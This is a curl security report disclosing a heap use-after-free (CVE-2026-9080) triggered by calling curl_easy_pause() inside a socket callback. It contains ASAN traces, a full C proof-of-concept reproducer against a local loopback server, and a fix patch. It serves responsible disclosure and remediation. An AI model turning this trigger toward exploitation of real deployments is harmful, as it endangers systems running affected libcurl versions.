curl · Report #3749204
CVE-2026-9080: UAF after pause in socket callback
How it was found
Hi all,
We've found a heap-use-after-free in lib/multi_ev.c triggered by calling
curl_easy_pause() from within a CURLMOPT_SOCKETFUNCTION callback.
ASAN-confirmed with the self-contained reproducer below.
Affected versions: 8.13.0 – 8.20.0 (current).
The entry->action write (line 280) has been vulnerable since the multi_ev
rewrite in 8.13.0 (commit cfc657a48d, 2025-04-02). The entry->announced
bit-field write (line 275) was added in 8.16.0 (commit 3d302250ec,
2025-09-10) and is what ASAN catches first, because a bit-field write compiles
to a read-modify-write.
Root cause
mev_sh_entry_update() fires the socket callback, then writes to the
mev_sh_entry it was passed:
/* lib/multi_ev.c */
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction,
multi->socket_userp, entry->user_data); /* fires app callback */
mev_in_callback(multi, FALSE);
entry->announced = TRUE; /* UAF WRITE — entry may be freed (line 275) */
if(rc == -1) { ... }
entry->action = (unsigned int)comboaction; /* UAF WRITE (line 280) */
curl_easy_pause() is documented
as legal to call from any callback:
"Unlike most other libcurl functions, curl_easy_pause(3) can be used from within callbacks."
CURLMOPT_SOCKETFUNCTION documentation adds no restriction on this.
When called from the socket callback, curl_easy_pause() invokes
Curl_multi_ev_assess_xfer() (easy.c:1183), which calls mev_assess().
mev_assess() has no guard on multi->in_callback — the flag is set by
mev_in_callback() but never checked inside multi_ev.c. If the pause
empties the transfer's poll-set (recv paused, nothing left to send),
mev_pollset_diff() calls mev_forget_socket() → mev_sh_entry_kill() →
free(entry). The writes at lines 275 and 280 then land on freed memory.
ASAN output
=================================================================
==59330==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b00000342c at pc 0x000100c9bde4 bp 0x00016fb5d390 sp 0x00016fb5d388
READ of size 1 at 0x60b00000342c thread T0
#0 0x000100c9bde0 in mev_sh_entry_update multi_ev.c:275
#1 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
#2 0x000100c97900 in mev_assess multi_ev.c:512
#3 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#4 0x000100c96930 in multi_run_dirty multi.c:3203
#5 0x000100c84e2c in multi_socket multi.c:3265
#6 0x000100c851e4 in curl_multi_socket_action multi.c:3445
#7 0x0001002a1758 in main poc_uaf.c:276
0x60b00000342c is located 92 bytes inside of 104-byte region [0x60b0000033d0,0x60b000003438)
freed by thread T0 here:
#0 0x000101065424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib)
#1 0x000100c584c4 in curl_dbg_free memdebug.c:385
#2 0x000100c98ed4 in mev_sh_entry_dtor multi_ev.c:78
#3 0x000100bd3b98 in hash_elem_clear_ptr hash.c:129
#4 0x000100bd43d0 in hash_elem_destroy hash.c:137
#5 0x000100bd4278 in Curl_hash_delete hash.c:225
#6 0x000100c9c3d4 in mev_sh_entry_kill multi_ev.c:123
#7 0x000100c98b08 in mev_forget_socket multi_ev.c:207
#8 0x000100c9a7d4 in mev_pollset_diff multi_ev.c:420
#9 0x000100c97900 in mev_assess multi_ev.c:512
#10 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#11 0x000100b942dc in curl_easy_pause easy.c:1183
#12 0x0001002a2044 in sock_cb poc_uaf.c:181
#13 0x000100c9bd80 in mev_sh_entry_update multi_ev.c:272
#14 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
#15 0x000100c97900 in mev_assess multi_ev.c:512
#16 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#17 0x000100c96930 in multi_run_dirty multi.c:3203
#18 0x000100c84e2c in multi_socket multi.c:3265
#19 0x000100c851e4 in curl_multi_socket_action multi.c:3445
#20 0x0001002a1758 in main poc_uaf.c:276
previously allocated by thread T0 here:
#0 0x000101065620 in calloc+0x80 (libclang_rt.asan_osx_dynamic.dylib)
#1 0x000100c57cec in curl_dbg_calloc memdebug.c:254
#2 0x000100c9aa20 in mev_sh_entry_add multi_ev.c:105
#3 0x000100c992a4 in mev_pollset_diff multi_ev.c:317
#4 0x000100c97900 in mev_assess multi_ev.c:512
#5 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#6 0x000100c96930 in multi_run_dirty multi.c:3203
#7 0x000100c84e2c in multi_socket multi.c:3265
#8 0x000100c851e4 in curl_multi_socket_action multi.c:3445
#9 0x0001002a1758 in main poc_uaf.c:276
SUMMARY: AddressSanitizer: heap-use-after-free multi_ev.c:275 in mev_sh_entry_update
Reproducer
Self-contained; spins up its own HTTP server in a thread. Build against a
libcurl compiled with -fsanitize=address:
cc -g -fsanitize=address -fno-omit-frame-pointer poc_uaf.c \
-Iinclude -Ibuild-asan/lib -Lbuild-asan/lib -lcurl-d \
-Wl,-rpath,$(pwd)/build-asan/lib -o poc_uaf
ASAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc_uaf
/*
* poc_uaf.c
*
* Trigger: call curl_easy_pause(easy, CURLPAUSE_RECV) from inside
* CURLMOPT_SOCKETFUNCTION. When the socket transitions from POLL_OUT to
* POLL_IN (request sent, response pending), pausing recv empties the
* transfer's poll-set, causing mev_forget_socket() to free the mev_sh_entry
* that mev_sh_entry_update() is still about to write to.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>
static int g_server_port;
static void *server_thread(void *arg)
{
int lfd = *(int *)arg;
char buf[4096];
for(;;) {
int cfd = accept(lfd, NULL, NULL);
if(cfd < 0)
break;
(void)recv(cfd, buf, sizeof(buf), 0);
const char *resp =
"HTTP/1.1 200 OK\r\n"
"Content-Length: 512\r\n"
"Connection: close\r\n"
"\r\n";
(void)send(cfd, resp, strlen(resp), 0);
memset(buf, 'X', 512);
(void)send(cfd, buf, 512, 0);
close(cfd);
}
return NULL;
}
static int start_server(void)
{
static int lfd;
lfd = socket(AF_INET, SOCK_STREAM, 0);
int opt = 1;
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
struct sockaddr_in a = {0};
a.sin_family = AF_INET;
a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
a.sin_port = 0;
bind(lfd, (struct sockaddr *)&a, sizeof(a));
listen(lfd, 8);
socklen_t len = sizeof(a);
getsockname(lfd, (struct sockaddr *)&a, &len);
g_server_port = ntohs(a.sin_port);
pthread_t t;
pthread_create(&t, NULL, server_thread, &lfd);
pthread_detach(t);
return lfd;
}
#define MAX_FDS 64
struct ctx {
CURLM *multi;
int still_running;
curl_socket_t fds[MAX_FDS];
int actions[MAX_FDS];
int nfds;
int pause_fired;
int iterations;
};
static void fd_add(struct ctx *c, curl_socket_t s, int action)
{
for(int i = 0; i < c->nfds; i++) {
if(c->fds[i] == s) { c->actions[i] = action; return; }
}
if(c->nfds < MAX_FDS) {
c->fds[c->nfds] = s;
c->actions[c->nfds] = action;
c->nfds++;
}
}
static void fd_del(struct ctx *c, curl_socket_t s)
{
for(int i = 0; i < c->nfds; i++) {
if(c->fds[i] == s) {
c->nfds--;
c->fds[i] = c->fds[c->nfds];
c->actions[i] = c->actions[c->nfds];
return;
}
}
}
static int sock_cb(CURL *easy, curl_socket_t s, int what,
void *userp, void *socketp)
{
struct ctx *c = userp;
(void)socketp;
if(what == CURL_POLL_REMOVE) { fd_del(c, s); return 0; }
fd_add(c, s, what);
if(!c->pause_fired && (what & CURL_POLL_IN)) {
/*
* The first POLL_IN may be the multi handle's internal wakeup pipe
* (admin handle, conn==NULL); curl_easy_pause() returns
* CURLE_BAD_FUNCTION_ARGUMENT and the re-entrant path is not taken.
* Leave pause_fired=0 and retry on the next POLL_IN, which will be
* the actual transfer socket (conn!=NULL).
*/
CURLcode rc = curl_easy_pause(easy, CURLPAUSE_RECV);
if(rc == CURLE_OK)
c->pause_fired = 1;
}
return 0;
}
static int timer_cb(CURLM *m, long ms, void *u) { (void)m;(void)ms;(void)u; return 0; }
static size_t write_cb(char *p, size_t sz, size_t n, void *u) { (void)p;(void)u; return sz*n; }
int main(void)
{
start_server();
curl_global_init(CURL_GLOBAL_DEFAULT);
struct ctx c = {0};
c.multi = curl_multi_init();
curl_multi_setopt(c.multi, CURLMOPT_SOCKETFUNCTION, sock_cb);
curl_multi_setopt(c.multi, CURLMOPT_SOCKETDATA, &c);
curl_multi_setopt(c.multi, CURLMOPT_TIMERFUNCTION, timer_cb);
curl_multi_setopt(c.multi, CURLMOPT_TIMERDATA, &c);
CURL *easy = curl_easy_init();
char url[64];
snprintf(url, sizeof(url), "http://127.0.0.1:%d/test", g_server_port);
curl_easy_setopt(easy, CURLOPT_URL, url);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(easy, CURLOPT_VERBOSE, 0L);
curl_multi_add_handle(c.multi, easy);
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
while(c.still_running && c.iterations < 2000) {
c.iterations++;
fd_set rfds, wfds;
FD_ZERO(&rfds); FD_ZERO(&wfds);
int maxfd = -1;
for(int i = 0; i < c.nfds; i++) {
curl_socket_t s = c.fds[i];
int a = c.actions[i];
if(a & CURL_POLL_IN) { FD_SET(s, &rfds); if((int)s > maxfd) maxfd = s; }
if(a & CURL_POLL_OUT) { FD_SET(s, &wfds); if((int)s > maxfd) maxfd = s; }
}
if(maxfd < 0) {
usleep(5000);
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
continue;
}
struct timeval tv = { .tv_sec = 0, .tv_usec = 50000 };
int rc = select(maxfd + 1, &rfds, &wfds, NULL, &tv);
if(rc < 0) { if(errno == EINTR) continue; break; }
if(rc == 0) {
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
continue;
}
curl_socket_t ready_s[MAX_FDS]; int ready_ev[MAX_FDS]; int nready = 0;
for(int i = 0; i < c.nfds && nready < MAX_FDS; i++) {
curl_socket_t s = c.fds[i];
int ev = 0;
if(FD_ISSET(s, &rfds)) ev |= CURL_CSELECT_IN;
if(FD_ISSET(s, &wfds)) ev |= CURL_CSELECT_OUT;
if(ev) { ready_s[nready] = s; ready_ev[nready] = ev; nready++; }
}
for(int i = 0; i < nready; i++)
curl_multi_socket_action(c.multi, ready_s[i], ready_ev[i], &c.still_running);
}
curl_multi_remove_handle(c.multi, easy);
curl_easy_cleanup(easy);
curl_multi_cleanup(c.multi);
curl_global_cleanup();
return 0;
}
Fix
Re-fetch the entry from the hash after the callback returns. The socket fd s
is safe to use (it is a value on the stack); only the hash-owned entry
pointer may be stale. The rc == -1 check is moved before the re-fetch so a
callback-abort is still reported even if the entry was freed.
--- a/lib/multi_ev.c
+++ b/lib/multi_ev.c
@@ -271,9 +271,14 @@ static CURLMcode mev_sh_entry_update(...)
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction, multi->socket_userp,
entry->user_data);
mev_in_callback(multi, FALSE);
- entry->announced = TRUE;
if(rc == -1) {
multi->dead = TRUE;
return CURLM_ABORTED_BY_CALLBACK;
}
+ /* curl_easy_pause() is documented as callable from any callback; it
+ * re-enters mev_assess() which may free this entry. Re-fetch. */
+ entry = mev_sh_entry_get(&multi->ev.sh_entries, s);
+ if(!entry)
+ return CURLM_OK;
+ entry->announced = TRUE;
entry->action = (unsigned int)comboaction;
return CURLM_OK;
Regards, AISLE Research Team
Impact
Use-after-free